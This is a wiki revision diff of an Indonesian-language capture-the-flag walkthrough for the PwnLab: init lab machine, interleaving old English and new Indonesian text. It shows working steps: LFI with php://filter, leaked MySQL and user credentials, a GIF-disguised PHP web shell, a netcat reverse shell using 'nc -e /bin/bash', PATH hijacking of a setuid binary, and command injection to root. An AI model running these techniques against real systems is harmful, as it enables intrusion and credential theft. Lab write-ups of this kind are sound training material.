Difference between revisions of "CTF PwnLab: init: Walkthrough"

From OnnoWiki
Jump to navigation Jump to search
 
(27 intermediate revisions by the same user not shown)
Line 262: Line 262:
 
===LFI vulnerability===
 
===LFI vulnerability===
  
−
Contoh code:
+
Local File Inclusion (LFI) vulnerability yang sering ditemukan dalam aplikasi web yang ditulis dengan buruk. Kerentanan ini terjadi ketika aplikasi web memungkinkan pengguna mengirimkan input ke dalam file atau mengunggah file ke server. Silahkan baca2 https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
  
 +
Contoh LFI code:
 +
 
  <?php   
 
  <?php   
 
     if (isset($_GET['page']))   
 
     if (isset($_GET['page']))   
Line 271: Line 273:
 
  ?>   
 
  ?>   
  
−
Coba perintah berikut ini,
+
Kita coba URL di bawah (gagal total),
  
 
  http://192.168.0.130/?page=/etc/passwd
 
  http://192.168.0.130/?page=/etc/passwd
Line 278: Line 280:
 
  http://192.168.0.130/?page=../../../../../../../etc/passwd
 
  http://192.168.0.130/?page=../../../../../../../etc/passwd
  
−
Yet, the following worked!
+
Gunakan PHP filter untuk meng-encode .php file content ke base64 string sehingga kita bisa mem-bypass server agak tidak meng-eksekusi file .php yang kita ambil.
 +
Tampaknya teknik ini berhasil,
  
−
  http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=index 
+
  http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=config
  
−
Using PHP filters to encode the .php file content to base64 string allows us to bypass it being executed by the server.
+
Kita bisa dapat config.php:
  
−
Config.php:
+
<?php
 +
$server  = "localhost";
 +
$username = "root";
 +
$password = "H4u%QJ_H99";
 +
$database = "Users";
 +
?>
  
−
  <?php   
+
Keren! kita dapat username password MySQL.
−
  $server      = "localhost";   
+
 
−
  $username = "root"; 
+
Mari kita lanjutkan analisa menggunakan PHP filter,
−
  $password = "H4u%QJ_H99";  
+
 
−
  $database = "Users";   
+
http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=index
−
  ?>   
+
 
 +
Kita dapat index.php:
 +
 
 +
  <?php
 +
  //Multilingual. Not implemented yet.
 +
  //setcookie("lang","en.lang.php");
 +
if (isset($_COOKIE['lang']))
 +
{
 +
include("lang/".$_COOKIE['lang']);
 +
}
 +
// Not implemented yet.
 +
?>
 +
<html>
 +
 
 +
<head>
 +
<title>PwnLab Intranet Image Hosting</title>
 +
  </head>
 +
  <body>
 +
<center>
 +
< img src="images/pwnlab.png">< br />
 +
  [ < a href="/">Home</a> ][ < a href="?page=login">Login</a> ][ < a href="? page=upload">Upload</a> ]
 +
  < hr />< br />
 +
  <?php
 +
    if (isset($_GET['page']))
 +
        {
 +
                include($_GET['page'].".php");
 +
        }
 +
        else
 +
        {
 +
                echo "Use this server to upload and share image files inside the intranet";
 +
        }
 +
?>
 +
  </center>
 +
  </body>
 +
  </html>
  
−
Sweet! We got the MySQL credentials. Before we dump the database let’s continue checking out the remaining pages.
+
 
 +
Lines 4-6: LFI vulnerability, jika kita set sebuah cookie dengan name _lang _ pointing ke sebuah file di file sistem, maka file tersebut akan di include. Kita bahkan tidak perlu pening menambahkan .php di belakangnya!
 +
Lines 20-23: LFI vulnerability kita dapat source codenya terima kasih banyak.
  
−
Index.php:
+
http://192.168.0.130/?page=php://filter/convert.base64-encode/resource=upload
−
<?php 
 
−
//Multilingual. Not implemented yet.
 
−
//setcookie("lang","en.lang.php"); 
 
−
if (isset($_COOKIE['lang'])) 
 
−
{ 
 
−
    include("lang/".$_COOKIE['lang']); 
 
−
} 
 
−
// Not implemented yet. 
 
−
?> 
 
−
<html> 
 
−
<head> 
 
−
<title>PwnLab Intranet Image Hosting</title> 
 
−
</head> 
 
−
<body> 
 
−
<center> 
 
−
<img src="images/pwnlab.png"><br /> 
 
−
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ] 
 
−
<hr/><br/> 
 
−
<?php
 
−
    if (isset($_GET['page'])) 
 
−
    { 
 
−
        include($_GET['page'].".php"); 
 
−
    } 
 
−
    else 
 
−
    { 
 
−
        echo "Use this server to upload and share image files inside the intranet"; 
 
−
    } 
 
−
?> 
 
−
</center> 
 
−
</body> 
 
−
</html> 
 
−
Lines 4-6: LFI vulnerability, if we set a cookie with name _lang _ pointing to a file in the file system, it will be included. We don’t even need to worry about it not ending in .php!
 
−
Lines 20-23: LFI vulnerability we already got the source code thanks to.
 
  
 
Upload.php
 
Upload.php
−
<?php
+
−
  session_start();
+
<?php
−
  if (!isset($_SESSION['user'])) { die('You must be log in.'); }   
+
  session_start();
−
?>   
+
  if (!isset($_SESSION['user'])) { die('You must be log in.'); }
−
 
+
  ?>
−
<html>
+
  <html>
−
    <body>
+
        <body>
−
        <form action='' method='post' enctype='multipart/form-data'>
+
                <form action='' method='post' enctype='multipart/form-data'>
−
            <input type='file' name='file' id='file' />
+
                        <input type='file' name='file' id='file' />
−
            <input type='submit' name='submit' value='Upload'/>
+
                        <input type='submit' name='submit' value='Upload'/>
−
        </form>
+
                </form>
−
    </body>   
+
        </body>
−
</html>   
+
  </html>
−
 
+
  <?php  
−
<?php   
+
  if(isset($_POST['submit'])) {
−
if(isset($_POST['submit'])) {
+
        if ($_FILES['file']['error'] <= 0) {
−
    if ($_FILES['file']['error'] <= 0) {
+
                $filename  = $_FILES['file']['name'];
−
        $filename  = $_FILES['file']['name'];
+
                $filetype  = $_FILES['file']['type'];
−
        $filetype  = $_FILES['file']['type'];
+
                $uploaddir = 'upload/';
−
        $uploaddir = 'upload/';
+
                $file_ext  = strrchr($filename, '.');
−
        $file_ext  = strrchr($filename, '.');
+
                $imageinfo = getimagesize($_FILES['file']['tmp_name']);
−
        $imageinfo = getimagesize($_FILES['file']['tmp_name']);
+
                $whitelist = array(".jpg",".jpeg",".gif",".png");  
−
        $whitelist = array(".jpg",".jpeg",".gif",".png");   
+
   
−
 
+
                if (!(in_array($file_ext, $whitelist))) {
−
        if (!(in_array($file_ext, $whitelist))) {
+
                        die('Not allowed extension, please upload images only.');
−
            die('Not allowed extension, please upload images only.');
+
                }
−
        }   
+
   
−
 
+
                if(strpos($filetype,'image') === false) {
−
        if(strpos($filetype,'image') === false) {
+
                        die('Error 001');
−
            die('Error 001');
+
                }
−
        }   
+
   
−
 
+
                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
−
        if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
+
                        die('Error 002');
−
            die('Error 002');
+
                }
−
        }   
+
   
−
 
+
                if(substr_count($filetype, '/')>1){
−
        if(substr_count($filetype, '/')>1){
+
                        die('Error 003');
−
            die('Error 003');
+
                }
−
        }   
+
   
−
 
+
                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
−
        $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;   
+
   
−
 
+
                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
−
        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
+
                        echo "<img src=\"".$uploadfile."\"><br />";
−
            echo "<img src=\"".$uploadfile."\"><br />";
+
                } else {
−
        } else {
+
                        die('Error 4');
−
            die('Error 4');   
+
                }
−
        }  
+
        }
−
    }  
+
  }
−
}  
+
  ?>
−
 
+
 
−
?>  
+
 
−
We haven’t figured yet a way to access this page, but this page is full of juicy content we just can’t skip!
+
Sampai titik ini kita mengexploit page yang kita lihat di atas. Tapi tampaknya banyak hal yang menarik di page tersebut.
 +
 
 +
  Lines 2-3: Ini yang tampaknya men-deny waktu kita akses.
 +
  Lines 16-49: Banyak kondisi untuk upload sebuah file:
 +
 
 +
Err 0: Whitelist untuk file dengan ending .jpg, ,jpeg, .gif dan .png
 +
Err 1: File is not identified as an image
 +
Err 2: HEX signature validation?
 +
  Err 3: File name contains ‘/’ to avoid LFI
 +
Err 4: Failed to upload file
 +
 
 +
==Akses MySQL==
 +
 
 +
Selanjutnya kita akan melihat kemungkinan untuk upload backdoor.
 +
Kita perlu mengakses page ini.
 +
Mari kita coba akses database MySQL menggunakan username password yang kita temukan di config.php.
 +
 
 +
mysql -h 192.168.0.130 -u root -p 
 +
Enter password: 
 +
 
 +
Welcome to the MariaDB monitor.  Commands end with ; or \g.
 +
Your MySQL connection id is 21180
 +
Server version: 5.5.47-0+deb8u1 (Debian)
 +
 +
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 +
 +
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 +
 +
MySQL [(none)]>
 +
MySQL [(none)]> show databases;
 +
+--------------------+
 +
| Database          |
 +
+--------------------+
 +
| information_schema |
 +
| Users              |
 +
+--------------------+
 +
2 rows in set (0.001 sec)
 +
 
 +
 
 +
MySQL [(none)]>
 +
MySQL [(none)]> use Users;
 +
Reading table information for completion of table and column names
 +
You can turn off this feature to get a quicker startup with -A
 +
 +
Database changed
 +
MySQL [Users]>
 +
 
 +
MySQL [Users]>
 +
MySQL [Users]> show tables;
 +
+-----------------+
 +
| Tables_in_Users |
 +
+-----------------+
 +
| users          |
 +
+-----------------+
 +
1 row in set (0.001 sec)
 +
 +
MySQL [Users]>
 +
 
 +
MySQL [Users]>
 +
MySQL [Users]> select * from users;
 +
+------+------------------+
 +
| user | pass            |
 +
+------+------------------+
 +
| kent | Sld6WHVCSkpOeQ== |
 +
| mike | U0lmZHNURW42SQ== |
 +
| kane | aVN2NVltMkdSbw== |
 +
+------+------------------+
 +
3 rows in set (0.001 sec)
 +
 +
MySQL [Users]>
 +
 
 +
Password tampaknya base64, jika kita decode misalnya via https://www.base64decode.org/, kita akan dapat,
 +
 
 +
kent: JWzXuBJJNy
 +
mike: SIfdsTEn6I
 +
kane: iSv5Ym2GRo
 +
 
 +
==Uploading backdoor==
 +
 
 +
Menggunakan salah satu username password yang tersedia memungkinkan kita untuk mengakses halaman upload. Yang ingin kita lakukan sekarang adalah menemukan cara untuk mendapatkan shell.
 +
 
 +
Bagaimana dengan mengunggah GIF yang berisi kode PHP, dan memasukkannya ke dalam kerentanan LFI yang kami temukan sebelumnya (cookie lang)?
 +
 
 +
 
 +
===Buat fake PNG file berisi PHP code===
 +
 
 +
Buat fake png file berisi PHP code,
 +
 
 +
GIF89; 
 +
<?php system($_GET["cmd"]) ?> 
 +
 
 +
 
 +
GIF89 digunakan untuk mem-bypass type check, informasi lebih lanjut bisa di baca2 di https://en.wikipedia.org/wiki/List_of_file_signatures .
 +
 
 +
Lakukan,
 +
 
 +
* Login ke pwnlab menggunakan
 +
 
 +
kent: JWzXuBJJNy
 +
mike: SIfdsTEn6I
 +
kane: iSv5Ym2GRo
 +
 
 +
* Upload ke menu upload http://192.168.0.130/?page=upload
 +
 
 +
File PNG biasanya di simpan dalam md5 hash. Ini bisa dilihat menggunakan CRTL-U dari browser, terlihat md5 hash dari file png yang kita gunakan,
 +
 
 +
../upload/d1a17e1e32f2bfa1b90a6754cadd1df8.png
 +
 
 +
==Set lang cookie agar memasukan image yang kita upload==
 +
 
 +
Jika menggunakan chrome, bisa masuk ke Developer Tools (Ctrl-Shift-J atau Tools -> Developer Tools) -> Console dan masukan javascript command:
 +
 
 +
document.cookie="keyofcookie=valueofcookie"
 +
 
 +
Kita dapat mengganti / menambahkan new cookie menggunakan teknik ini. Kita juga dapat memasukan multiple cooke seperti,
 +
 
 +
document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/";
 +
 
 +
Dari browser CTRL-SHIFT-J masukan cookies,
 +
 
 +
document.cookie="lang=../upload/d1a17e1e32f2bfa1b90a6754cadd1df8.png";
 +
 
 +
==Start netcat listener di Kali==
 +
 
 +
Start 4444 listener
 +
 
 +
nc -nvlp 4444
 +
 
 +
Browse untuk connect ke port
 +
 
 +
* cek IP address kali linux dengan perintah "ifconfig eth0", misalnya hasilnya 192.168.0.62
 +
* Browse ke URL (perhatikan spasi)
 +
 
 +
http://192.168.0.130/?cmd=nc -nv 192.168.0.62 4444 -e /bin/bash
 +
 
 +
Di kali linux CLI akan ada kata2,
 +
 
 +
# nc -nvlp 4444 
 +
listening on [any] 4444 ... 
 +
connect to [192.168.0.62] from (UNKNOWN) [192.168.0.130] 60676
 +
whoami 
 +
www-data 
 +
python -c 'import pty; pty.spawn("/bin/bash");' 
 +
www-data@pwnlab:/var/www/html$
 +
 
 +
==Privilege Escalation==
 +
 
 +
===coba user kent===
 +
 
 +
Dari shell, Lakukan su ke user kent
 +
 
 +
cd /home
 +
ls
 +
www-data@pwnlab:/home$
 +
 
 +
ww-data@pwnlab:/home$ ls -al
 +
ls -al
 +
total 24
 +
drwxr-xr-x  6 root root 4096 Mar 17  2016 .
 +
drwxr-xr-x 21 root root 4096 Mar 17  2016 ..
 +
drwxr-x---  2 john john 4096 Mar 17  2016 john
 +
drwxr-x---  2 kane kane 4096 Mar 17  2016 kane
 +
drwxr-x---  2 kent kent 4096 Mar 17  2016 kent
 +
drwxr-x---  2 mike mike 4096 Mar 17  2016 mike
 +
www-data@pwnlab:/home$
 +
 
 +
Lalukan su ke user kent
 +
 
 +
www-data@pwnlab:/home$ su kent
 +
su kent
 +
Password: JWzXuBJJNy
 +
 +
kent@pwnlab:/home$ cd kent
 +
cd kent
 +
kent@pwnlab:~$ ls -al
 +
ls -al
 +
total 20
 +
drwxr-x--- 2 kent kent 4096 Mar 17  2016 .
 +
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
 +
-rw-r--r-- 1 kent kent  220 Mar 17  2016 .bash_logout
 +
-rw-r--r-- 1 kent kent 3515 Mar 17  2016 .bashrc
 +
-rw-r--r-- 1 kent kent  675 Mar 17  2016 .profile
 +
kent@pwnlab:~$
 +
 
 +
 
 +
kent@pwnlab:~$ find / -user kent 2>/dev/null 
 +
find / -user kent 2>/dev/null 
 +
.........
 +
/home/kent 
 +
/home/kent/.bashrc 
 +
/home/kent/.profile 
 +
/home/kent/.bash_logout 
 +
 
 +
coba sudo -l
 +
 
 +
kent@pwnlab:~$ sudo -l 
 +
sudo -l 
 +
bash: sudo: command not found 
 +
 
 +
kent tidak bisa sudo :( ..
 +
 
 +
exit
 +
 
 +
 
 +
===coba user kane===
 +
 
 +
cd /home
 +
www-data@pwnlab:/home$ su kane
 +
su kane
 +
Password: iSv5Ym2GRo
 +
 +
kane@pwnlab:/home$ cd kane
 +
 
 +
kane@pwnlab:~$ ls -al
 +
ls -al
 +
total 28
 +
drwxr-x--- 2 kane kane 4096 Mar 17  2016 .
 +
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
 +
-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
 +
-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc
 +
-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike
 +
-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile
 +
 
  
−
Lines 2-3: That’s what has been denying us access.
+
kane@pwnlab:~$ file msgmike   
−
Lines 16-49: Many conditions for uploading a file:
+
file msgmike
 +
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
 +
kane@pwnlab:~$
  
−
Err 0: Whitelist for files ending with .jpg, ,jpeg, .gif and .png
+
kane@pwnlab:~$ strings msgmike 
−
Err 1: File is not identified as an image
+
strings msgmike
−
Err 2: HEX signature validation?
+
/lib/ld-linux.so.2
−
Err 3: File name contains ‘/’ to avoid LFI
+
libc.so.6
−
Err 4: Failed to upload file
+
_IO_stdin_used
−
4. Accessing MySQL
+
setregid
−
Alright, now that we know how to upload a backdoor, we need to be able to access this page. Let’s try to access mysql remotely using the credentials we found in config.php.
+
setreuid
 +
....
 +
....
 +
__TMC_END__
 +
_ITM_registerTMCloneTable
 +
_init
 +
kane@pwnlab:~$
  
−
root@kali:~/Desktop# mysql -h 192.168.1.65 -u root -p 
+
Hmmmm kayanya msgmike berusaha coding menggunakan
−
Enter password: 
 
−
Welcome to the MySQL monitor.  Commands end with ; or \g. 
 
−
Your MySQL connection id is 44533 
 
−
Server version: 5.5.47-0+deb8u1 (Debian) 
 
−
 
 
−
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved. 
 
−
Oracle is a registered trademark of Oracle Corporation and/or its 
 
−
affiliates. Other names may be trademarks of their respective 
 
−
owners. 
 
−
 
 
−
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. 
 
−
 
 
−
**mysql> use Users;** 
 
−
Reading table information for completion of table and column names 
 
−
You can turn off this feature to get a quicker startup with -A 
 
−
 
 
−
Database changed 
 
−
**mysql> show tables;** 
 
−
+-----------------+ 
 
−
| Tables_in_Users | 
 
−
+-----------------+ 
 
−
| users          | 
 
−
+-----------------+ 
 
−
 
 
−
1 row in set (0.00 sec) 
 
−
 
 
−
**mysql> select * from users;** 
 
−
+------+------------------+ 
 
−
| user | pass            | 
 
−
+------+------------------+ 
 
−
| kent | Sld6WHVCSkpOeQ== | 
 
−
| mike | U0lmZHNURW42SQ== | 
 
−
| kane | aVN2NVltMkdSbw== | 
 
−
+------+------------------+ 
 
−
3 rows in set (0.00 sec) 
 
−
 
 
−
mysql> 
 
−
Passwords look to be in base64 format:
 
  
−
kent: JWzXuBJJNy
+
int main() 
−
mike: SIfdsTEn6I
+
{ 
−
kane: iSv5Ym2GRo
+
      system("cat /home/mike/msg.txt"); 
−
5. Uploading a backdoor
+
} 
−
Using any of the credentials provided allows us to access the upload page. What we want to do now is find a way to get a shell.
 
−
How about uploading a GIF containing PHP code, and include it by the LFI vulnerability we found earlier (lang cookie)?
 
  
−
1. Create fake PNG file containing PHP code.
+
Kalau kita menggunakan cat di directory tertentu & override PATH, kita mungkin bisa dapat shell dari mike!
−
GIF89; 
+
Contoh shell scripting bisa di baca2 di root-me.org. Lakukan script di bawah ini,
−
<?php system($_GET["cmd"]) ?> 
 
−
GIF89 is to bypass the type check, more info here.. File is stored by its md5 hash, so it’s stored at ../upload/32d3ca5e23f4ccf1e4c8660c40e75f33.png.
 
  
−
2. Set lang cookie to include the image we uploaded:
+
kane@pwnlab:~$ echo "/bin/bash" > cat
−
document.cookie="lang=../upload/32d3ca5e23f4ccf1e4c8660c40e75f33.png"   
+
echo "/bin/bash" > cat
−
3. Start a netcat listener on Kali
+
  kane@pwnlab:~$ chmod 777 cat
−
root@kali:~/Desktop# nc -nvlp 4444  
+
  chmod 777 cat
−
listening on [any] 4444 ...  
+
  kane@pwnlab:~$ export PATH=/home/kane
−
4. Connect to the open port
+
export PATH=/home/kane
−
http://192.168.1.65/?cmd=nc -nv 192.168.1.71 4444 -e /bin/bash  
+
  kane@pwnlab:~$ ./msgmike
−
5. Did we get our shell?
+
  ./msgmike
−
root@kali:~/Desktop# nc -nvlp 4444 
+
  bash: dircolors: command not found
−
listening on [any] 4444 ...  
+
  bash: ls: command not found
−
connect to [192.168.1.71] from (UNKNOWN) [192.168.1.65] 57556 
+
  mike@pwnlab:~$  
−
whoami  
 
−
whoami  
 
−
www-data  
 
−
python -c 'import pty; pty.spawn("/bin/bash");' 
 
−
www-data@pwnlab:/var/www/html$
 
−
6. Privilege Escalation
 
−
I won’t be discussing which attempts I made since they’re countless, check this article for useful info.
 
  
−
1. Running as kent
+
==Jadi mike & jadi root:) ...==
  
−
www-data@pwnlab:/home$ ls -al 
+
Reset PATH variabel terlebih dulu,
−
ls -al 
 
−
total 24 
 
−
drwxr-xr-x  6 root root 4096 Mar 17  2016 . 
 
−
drwxr-xr-x 21 root root 4096 Mar 17  2016 .. 
 
−
drwxr-x---  2 john john 4096 Mar 17  2016 john 
 
−
drwxr-x---  2 kane kane 4096 Mar 17  2016 kane 
 
−
drwxr-x---  2 kent kent 4096 Mar 17  2016 kent 
 
−
drwxr-x---  2 mike mike 4096 Mar 17  2016 mike 
 
−
www-data@pwnlab:/home$ su kent 
 
−
su kent 
 
−
Password: JWzXuBJJNy 
 
−
 
 
−
kent@pwnlab:/home$ cd kent 
 
−
cd kent 
 
−
kent@pwnlab:~$ ls -al 
 
−
ls -al 
 
−
total 20 
 
−
drwxr-x--- 2 kent kent 4096 Mar 17  2016 . 
 
−
drwxr-xr-x 6 root root 4096 Mar 17  2016 .. 
 
−
-rw-r--r-- 1 kent kent  220 Mar 17  2016 .bash_logout 
 
−
-rw-r--r-- 1 kent kent 3515 Mar 17  2016 .bashrc 
 
−
-rw-r--r-- 1 kent kent  675 Mar 17  2016 .profile 
 
−
kent@pwnlab:~$ find / -user kent 2>/dev/null 
 
−
find / -user kent 2>/dev/null 
 
−
<-- retracted --> 
 
−
/home/kent 
 
−
/home/kent/.bashrc 
 
−
/home/kent/.profile 
 
−
/home/kent/.bash_logout 
 
−
kent@pwnlab:~$ sudo -l 
 
−
sudo -l 
 
−
bash: sudo: command not found 
 
−
Eh, nothing useful. Kent you suck!
 
  
−
2. Running as mike (part 1)
+
mike@pwnlab:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
 +
</usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin               
 +
mike@pwnlab:~$ cd ../mike
 +
cd ../mike
 +
mike@pwnlab:/home/mike$ ls -al
 +
ls -al
 +
total 28
 +
drwxr-x--- 2 mike mike 4096 Mar 17  2016 .
 +
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
 +
-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
 +
-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc
 +
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
 +
-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile
 +
mike@pwnlab:/home/mike$ ./msg2root
 +
./msg2root
 +
Message for root: percobaan
 +
percobaan
 +
percobaan
 +
mike@pwnlab:/home/mike$
  
−
You’ll notice that the password for mike pulled from Mysql doesn’t work. We’ll get back to mike later.
+
ini bagian yang keren:) ..
  
−
3.Running as kane
+
mike@pwnlab:/home/mike$ strings msg2root
 +
strings msg2root
 +
/lib/ld-linux.so.2
 +
libc.so.6
 +
.....
 +
.....
 +
Message for root:
 +
/bin/echo %s >> /root/messages.txt
 +
.....
 +
.....
 +
_ITM_registerTMCloneTable
 +
_init
 +
mike@pwnlab:/home/mike$
  
−
kane@pwnlab:~$ ls -al 
 
−
ls -al 
 
−
total 28 
 
−
drwxr-x--- 2 kane kane 4096 Mar 17  2016 . 
 
−
drwxr-xr-x 6 root root 4096 Mar 17  2016 .. 
 
−
-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout 
 
−
-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc 
 
−
**-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike** 
 
−
-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile 
 
−
kane@pwnlab:~$ file msgmike 
 
−
file msgmike 
 
−
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped 
 
−
kane@pwnlab:~$ ./msgmike 
 
−
./msgmike 
 
−
**cat: /home/mike/msg.txt: No such file or directory** 
 
−
kane@pwnlab:~$ strings msgmike 
 
−
... 
 
−
**cat /home/mike/msg.txt** 
 
−
... 
 
−
kane@pwnlab:~$ 
 
−
Are you thinking what I’m thinking? msgmike might be doing the following code:
 
  
−
int main() 
+
Hmm… msg2root tampaknya merupakan coding kira-kira:
−
{ 
 
−
      system("cat /home/mike/msg.txt"); 
 
−
} 
 
−
This is very poorly configured as cat command is found by searching for files with that specific name in the PATH environment variable. If we create a script called cat in a certain directory and override the PATH variable, we might be able to get a shell for use mike!
 
  
−
If you’re interested in such problems, check out root-me.org’s system problems!
+
#include <iostream> 
 +
 
 +
char msg[1024];  //Let's assume no BO takes place, alrighty? 
 +
char command[1024]; 
 +
 
 +
int main() 
 +
{ 
 +
  printf("Message for root: "); 
 +
  scanf("%s", msg); 
 +
  snprintf(command, sizeof(command), "/bin/echo %s >> /root/messages.txt", msg); 
 +
  system(command); 
 +
}
  
−
kane@pwnlab:~$ echo "/bin/bash" > cat 
+
Mari ujicoba masuk ke root,
−
echo "/bin/bash #" > cat 
 
−
kane@pwnlab:~$ chmod 777 cat 
 
−
chmod 777 cat 
 
−
kane@pwnlab:~$ export PATH=/home/kane 
 
−
export PATH=/home/kane 
 
−
kane@pwnlab:~$ ./msgmike 
 
−
./msgmike 
 
−
bash: dircolors: command not found 
 
−
bash: ls: command not found 
 
−
mike@pwnlab:~$ 
 
−
4. Running as mike and becoming god root
 
−
You’ll need to reset the PATH variable first.
 
  
−
mike@pwnlab:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  
+
mike@pwnlab:/home/mike$ ./msg2root
−
mike@pwnlab:~$ cd ../mike  
+
./msg2root
−
cd ../mike  
+
Message for root: opensesame; bash -p
−
mike@pwnlab:/home/mike$ ls -al   
+
opensesame; bash -p
−
ls -al   
+
  opensesame
−
total 28   
+
bash-4.3# whoami
−
drwxr-x--- 2 mike mike 4096 Mar 17  2016 .   
+
  whoami
−
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..   
+
  root
−
-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout   
+
bash-4.3# ls -al
−
-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc   
+
  ls -al
−
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root   
+
  total 28
−
-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile
+
  drwxr-x--- 2 mike mike 4096 Mar 17  2016 .
−
mike@pwnlab:/home/mike$ ./msg2root 
+
  drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
−
./msg2root 
+
  -rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
−
Message for root: wanna hook? 
+
  -rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc
−
wanna hook? 
+
  -rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
−
wanna hook? 
+
  -rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile
−
mike@pwnlab:/home/mike$ strings msg2root 
 
−
strings msg2root 
 
−
... 
 
−
Message for root: 
 
−
/bin/echo %s >> /root/messages.txt 
 
−
... 
 
−
mike@pwnlab:/home/mike$ 
 
−
Hmm… msg2root possibly looks like this (might not compile, don’t complain!):
 
  
−
#include <iostream>  
+
bash-4.3# cd /root
−
 
+
  cd /root
−
char msg[1024]; //Let's assume no BO takes place, alrighty?  
+
bash-4.3# ls -al
−
char command[1024]; 
+
  ls -al
−
 
+
  total 20
−
int main()  
+
drwx------  2 root root 4096 Mar 17  2016 .
−
{  
+
drwxr-xr-x 21 root root 4096 Mar 17  2016 ..
−
  printf("Message for root: ");  
+
  lrwxrwxrwx  1 root root    9 Mar 17  2016 .bash_history -> /dev/null
−
  scanf("%s", msg);  
+
  -rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
−
  snprintf(command, sizeof(command), "/bin/echo %s >> /root/messages.txt", msg);  
+
  ----------  1 root root 1840 Mar 17 2016 flag.txt
−
  system(command);  
+
  lrwxrwxrwx 1 root root    9 Mar 17 2016 messages.txt -> /dev/null
−
}  
+
lrwxrwxrwx  1 root root    9 Mar 17  2016 .mysql_history -> /dev/null
−
Let’s find a way in.
+
  -rw-r--r-- 1 root root 140 Nov 19 2007 .profile
  
−
mike@pwnlab:/home/mike$ ./msg2root 
+
  bash-4.3# cat /root/flag.txt  
−
./msg2root 
+
  cat /root/flag.txt
−
Message for root: **opensesame; bash -p** **//-p to preserve current privileges** 
+
  .-=~=-.                                                                .-=~=-.
−
opensesame; bash -p 
+
  (__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
−
opensesame  
+
  (_ ___)  _____                            _                            (_ ___)
−
bash-4.3# whoami 
+
  (__  _) /  __ \                          | |                          (__  _)
−
whoami 
+
  ( _ __) | /  \/ ___  _ __  __ _ _ __ __ _| |_ ___                      ( _ __)
−
root 
+
  (__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                    (__  _)
−
bash-4.3# cd /root 
+
  (_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                    (_ ___)
−
cd /root
+
  (__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                    (__  _)
−
bash-4.3# ls -al 
+
  ( _ __)                    __/ |                                      ( _ __)
−
ls -al 
+
  (__  _)                    |___/                                        (__  _)
−
total 20 
+
  (__  _)                                                                (__  _)
−
drwx------  2 root root 4096 Mar 17  2016 . 
+
  (_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
−
drwxr-xr-x 21 root root 4096 Mar 17  2016 .. 
+
  ( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
−
lrwxrwxrwx  1 root root    9 Mar 17  2016 .bash_history -> /dev/null 
+
  (__  _) this challenge.                                                (__  _)
−
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc 
+
  (_ ___)                                                                (_ ___)
−
----------  1 root root 1840 Mar 17  2016 flag.txt
+
  ( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
−
lrwxrwxrwx 1 root root    9 Mar 17  2016 messages.txt -> /dev/null 
+
